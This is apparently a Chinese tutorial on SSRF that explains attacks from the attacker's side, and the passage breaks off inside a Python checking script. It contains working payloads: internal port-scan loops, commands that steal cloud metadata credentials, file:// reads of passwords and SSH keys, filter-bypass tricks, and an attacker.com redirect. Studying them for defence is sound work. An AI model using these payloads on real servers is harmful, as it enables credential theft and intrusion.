一个真实案例:图片裁剪引发的数据泄露
某电商平台的用户头像功能,支持「从URL导入头像」。前端传一个图片链接,后端去下载再裁剪。
# 简化后的代码 def fetch_avatar(url): resp = requests.get(url, timeout=5) save_image(resp.content) return "ok"看着没毛病对吧?但问题是——后端服务器在内网,它可以访问内网资源。
攻击者传了这么一个URL:
http://169.254.169.254/latest/meta-data/ram/security-credentials/admin-role169.254.169.254是所有云厂商的元数据服务端点。只要后端服务器在云上跑,这个请求就能返回该服务器的临时凭证。
结果?该API直接返回了aliyun-access-key-id、access-key-secret和security-token。
有了这三样,攻击者可以在云厂商API中以该服务器的身份执行任何操作——创建ECS、下载OSS文件、甚至配置网络规则。
这就是SSRF最经典的杀伤路径:外部可控URL → 内网探测 → 云元数据窃取 → 横向移动。
那我们来看看攻击者具体怎么玩。
SSRF的三种常见场景
1. 内网端口扫描
SSRF最常见的用法是探测内网。攻击者构造一个循环,挨个扫描内网IP和端口:
# 遍历内网C段 for ip in 10.0.0.{1..254}; do for port in 22 80 443 3306 6379 8080 9200; do curl "http://target.com/fetch?url=http://$ip:$port/" done done通过响应时间差、返回内容、状态码来判断端口是否开放。如果返回了某些服务的Banner,那直接喜提内网资产信息。
实际场景中我还见过更狠的——攻击者不是手动扫,而是用脚本配合Burp Suite的Intruder,一个接口10分钟就扫完整个内网。
2. 云元数据攻击
前面提到的元数据端点,各云厂商地址不同:
云厂商元数据端点AWShttp://169.254.169.254/latest/meta-data/阿里云http://100.100.100.200/latest/meta-data/腾讯云http://metadata.tencentyun.com/latest/meta-data/华为云http://169.254.169.254/openstack/latest/GCPhttp://metadata.google.internal/computeMetadata/v1/
攻击者拿到凭证后,通常执行以下操作:
# 1. 获取RAM角色名称 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ # 2. 获取临时凭证 curl http://169.254.169.254/latest/meta-data/ram/security-credentials/ecs-role # 3. 用凭证操作云API aliyun ecs DescribeInstances --region cn-hangzhou \ --access-key-id <STS.xxx> \ --access-key-secret <xxx> \ --security-token <xxx>3. 文件协议读取
有些服务端不仅支持HTTP,还支持file://协议:
import requests # 漏洞代码:未限制协议类型 def read_resource(url): if url.startswith('http'): return requests.get(url).text # 但支持 file:// return open(url.replace('file://', '')).read()攻击者可以构造:
file:///etc/passwd file:///proc/self/environ # 环境变量,可能泄露数据库密码 file:///proc/self/fd/1 # 日志文件,寻找敏感信息 file:///root/.ssh/id_rsa # SSH密钥SSRF绕过手法大全(攻击者视角)
防御方最常见的做法是「黑名单IP」或「白名单域名」。然而…每种方案都有对应的绕过方式。
绕过IP黑名单
你以为禁止了127.0.0.1就安全了?
# 十进制IP http://2130706433/ # 等价于 127.0.0.1 http://0x7f000001/ # 十六进制 http://0x7f.0x0.0x0.0x1/ # 混合进制 # 短格式 http://127.1/ # 等价 127.0.0.1 http://0/ # 等价 0.0.0.0 # IPv6映射 http://[::1]/ # localhost的IPv6 http://[0:0:0:0:0:ffff:127.0.0.1]/ # DNS重绑定(经典的SSRF绕过大法) # 注册一个域名,第一次解析到合法IP,第二次解析到内网IP http://ssrf-bind.example.com/DNS重绑定是最骚的绕过方式。原理很简单:攻击者注册一个域名,配置极短的TTL(比如1秒),让域名在两个IP之间来回切换。第一次DNS查询返回合法IP(通过白名单检查),第二次查询(发起实际请求时)返回内网IP。
我写过一个小工具演示这个过程:
import socket import time # 模拟DNS重绑定攻击 domain = "evil.dnsrebind.example.com" real_ip = socket.gethostbyname(domain) # 第一次查询:返回8.8.8.8(看起来安全) print(f"第一次解析: {real_ip}") # 等待TTL过期(通常设1-5秒) time.sleep(2) # 第二次查询:返回10.0.0.1(内网地址) rebound_ip = socket.gethostbyname(domain) print(f"第二次解析: {rebound_ip}")绕过URL解析差异
很多防御方案用urllib.parse来解析URL做校验,但发起请求时用的却是requests或curl。这两个库的URL解析逻辑有差异,攻击者可以利用这一点。
# 防御方校验(用urllib) parsed = urllib.parse.urlparse(url) # parsed.hostname = "baidu.com" ✅ 看起来没问题 # 实际请求用(用requests) # 实际请求去了 http://10.0.0.1:80/构造方式示例:
# 利用@符号解析差异 http://baidu.com@10.0.0.1:80/admin # 利用#符号截断 http://10.0.0.1:80#@baidu.com # 利用DNS命名规范(下划线在某些实现中被忽略) http://baidu_com.10.0.0.1/ # URL编码 http://127.0.0.1%2f%2f%2fbaidu.com绕过302跳转
有些系统会检查目标URL是否在白名单内,但攻击者可以构造一个「中间人」域名:
# 攻击者搭建一个服务器 # 第一次请求 → 返回302跳转到内网地址 curl "http://target.com/fetch?url=http://attacker.com/redirect" # 跳转到 http://169.254.169.254/latest/meta-data/如果后端不检查跳转目标(allow_redirects=True),这就是一个经典的SSRF利用方式。
实战代码:SSRF漏洞检测工具
下面是我在实战中常用的一款轻量检测脚本(Python3),可以帮助快速验证SSRF是否存在:
#!/usr/bin/env python3 """ SSRF漏洞快速验证工具 用法: python3 ssrf_check.py <target_url> <param_name> 示例: python3 ssrf_check.py "http://example.com/fetch" "url" """ import requests import sys import time from urllib.parse import urljoin # 测试Payload列表 PAYLOADS = { "本地回环": [ "http://127.0.0.1:80/", "http://localhost:80/", "http://[::1]:80/", "http://0:80/", "http://0.0.0.0:80/", "http://2130706433:80/", ], "云元数据": [ "http://169.254.169.254/latest/meta-data/", "http://100.100.100.200/latest/meta-data/", "http://metadata.tencentyun.com/latest/meta-data/", ], "内网常见端口": [ "http://172.16.0.1:22/", "http://10.0.0.1:80/", "http://192.168.1.1:3306/", "http://10.0.0.1:6379/", "http://10.0.0.1:9200/", "http://10.0.0.1:27017/", ], "文件读取": [ "file:///etc/passwd", "file:///proc/self/environ", ], } def check_ssrf(base_url, param): """ 对指定参数注入SSRF测试payload,根据响应判断是否存在漏洞 """ print(f"[*] 目标: {base_url}") print(f"[*] 参数: {param}") print("=" * 60) for category, urls in PAYLOADS.items(): print(f"\n[+] 测试类别: {category}") for test_url in urls: try: params = {param: test_url} start = time.time() resp = requests.get( base_url, params=params, timeout=8, allow_redirects=False ) elapsed = time.time() - start # 判断依据: # 1. 状态码200且有响应体 → 可能是成功 # 2. 响应时间异常(连接超时或拒绝)→ 端口可能开放 # 3. 响应内容包含特定字符串 indicators = [ resp.status_code == 200, elapsed > 2, # 连接成功但没数据 "root:" in resp.text, # /etc/passwd特征 "secret" in resp.text.lower(), "access-key" in resp.text.lower(), ] if any(indicators): print(f" ⚠️ {test_url}") print(f" 状态: {resp.status_code}, 耗时: {elapsed:.2f}s") if resp.text: preview = resp.text[:200].replace('\n', '\\n') print(f" 响应: {preview}...") else: print(f" - {test_url} → {resp.status_code}") except requests.exceptions.Timeout: print(f" ⏱ {test_url} → 超时(可能端口开放)") except requests.exceptions.ConnectionError: print(f" ✗ {test_url} → 连接拒绝")